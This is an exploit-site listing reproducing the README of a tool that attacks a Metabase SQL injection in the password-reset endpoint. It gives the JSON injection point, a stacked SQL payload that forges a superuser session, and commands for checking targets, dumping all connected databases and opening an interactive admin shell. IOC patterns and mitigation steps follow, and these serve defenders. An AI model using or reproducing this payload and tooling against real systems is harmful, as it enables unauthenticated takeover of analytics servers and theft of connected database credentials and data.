Sploitus

Metabase-Exploit

githubexploit Β· 2026-08-10

Exploit Code

README184 lines
## https://sploitus.com/exploit?id=BE02E142-30B5-5FDA-9685-0FE7BCB5CE77
# Metabase SQL Injection Zero-Day Exploit

**GHSA-vwf4-m7j8-wcjf | CVSS 10.0 | Unauthenticated Remote Admin Access**

A sophisticated unauthenticated SQL injection exploit for Metabase versions 0.58.0 through 0.62.8, leveraging a stacked query injection in the `/api/session/reset_password` endpoint to forge administrator sessions.

## Author

**ZSecurity / Linuxhackingid**

## Vulnerability

| Property | Detail |
|----------|--------|
| Advisory | GHSA-vwf4-m7j8-wcjf |
| CVSS | 10.0 (Critical) |
| Vector | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` |
| CVE | Not assigned |
| Affected | Metabase 0.58.0 - 0.62.8 |
| Patched | 0.58.24, 0.59.21, 0.60.17, 0.61.11, **0.62.9**, 0.63.5 |
| Discovered | August 2026 |
| Active Exploitation | Confirmed in the wild |

The `/api/session/reset_password` endpoint accepts an unvalidated `user-id` parameter that accepts nested SQL expressions via `user-id.select.raw`. This raw SQL value is injected directly into the application database WHERE clause, enabling stacked queries that bypass authentication entirely. The HTTP response always returns 400 β€” the SQL executes as a side effect before validation.

### Attack Flow

```
POST /api/session/reset_password (with SQLi payload in user-id.select.raw)
    β†’ Injects INSERT INTO core_session linking attacker UUID to superuser
    β†’ HTTP 400 "Invalid reset token" (IRRELEVANT β€” SQL already executed)
GET /api/user/current (with X-Metabase-Session: attacker-uuid)
    β†’ HTTP 200 β€” Full admin access
```

### Impact

- Full administrator access to Metabase instance
- Read/write all connected database credentials
- Execute arbitrary SQL on all connected databases
- Export all data from connected data warehouses
- Modify application configuration
- Create/delete users and API keys

## Requirements

- Python 3.7+
- No external dependencies (stdlib only)

```bash
python3 --version
```

## Installation

```bash
git clone https://github.com/linuxhackingid/metabase-exploit
cd metabase-exploit
chmod +x metabase-poc.py
```

## Usage

### Check if target is vulnerable

```bash
python3 metabase-poc.py --target http://TARGET:3000 --check
```

Output:
```
[*] Metabase v0.62.7
[*] Site URL: http://192.168.0.100:3003
[+] VULNERABLE β€” fixed in 0.62.9
```

### Full exploit with database dump

```bash
python3 metabase-poc.py --target http://TARGET:3000 --exploit --dump
```

### Interactive shell with existing session

```bash
python3 metabase-poc.py --target http://TARGET:3000 --session SESSION_KEY --interactive
```

### Interactive shell (full exploit first)

```bash
python3 metabase-poc.py --target http://TARGET:3000 --exploit --interactive
```

Interactive commands:
```
metabase> dbs        β€” List connected databases
metabase> users      β€” List all Metabase users
metabase> settings   β€” Dump configuration
metabase> query 1 SELECT * FROM users  β€” Run raw SQL
metabase> dump ./output 1   β€” Dump all tables to CSV
metabase> get /api/database  β€” Raw API request
metabase> quit       β€” Exit
```

### All options

| Flag | Description |
|------|-------------|
| `--target`, `-t` | Metabase URL (required) |
| `--check`, `-c` | Version check + vulnerability confirmation |
| `--exploit`, `-e` | Run full SQLi exploit chain |
| `--interactive`, `-i` | Interactive shell after exploit |
| `--dump`, `-d` | Auto-dump all database tables to CSV |
| `--cleanup` | Remove forged session after exploit |
| `--session`, `-s` | Use existing session key |
| `--output`, `-o` | Custom output directory for dumps |
| `--delay` | Delay between requests in seconds (default: 4) |

## Technical Details

### Injection Point

```json
POST /api/session/reset_password
Content-Type: application/json

{
    "token": "any-value",
    "password": "any-value",
    "user-id": {
        "select": {
            "raw": ""
        }
    }
}
```

The `raw` value is injected into:

```sql
SELECT ... FROM "core_user" WHERE "id" = (SELECT ())
```

### Session Hijack Payload

```sql
-2147483648));
INSERT INTO core_session (id, user_id, created_at, key_hashed)
SELECT '', id, NOW(), 'exploit'
FROM core_user
WHERE is_superuser IS TRUE AND is_active IS TRUE
ORDER BY id LIMIT 1;
-- marker
```

The attacker-chosen UUID becomes a valid session key linked to the superuser account.

### IOC Detection

Look for this pattern in access logs (same source IP, sequential):
```
POST /api/session/reset_password  β†’  HTTP 400
GET  /api/user/current            β†’  HTTP 200
```

## Mitigation

1. **Upgrade immediately** to patched version (0.62.9+)
2. **Block** `/api/session/reset_password` at reverse proxy/WAF
3. **Revoke** all sessions: `DELETE FROM core_session;`
4. **Rotate** all connected database credentials
5. **Audit** admin accounts and API keys for unauthorized additions

## Disclaimer

This tool is provided for authorized security testing and educational purposes only. The author assumes no liability for misuse. Always obtain explicit written permission before testing any system you do not own.

## License

Creative Commons Attribution-NoDerivatives 4.0 International (CC BY-ND 4.0)

You may share and redistribute this code, but you may NOT modify, adapt, or create derivative works. See LICENSE file for full terms.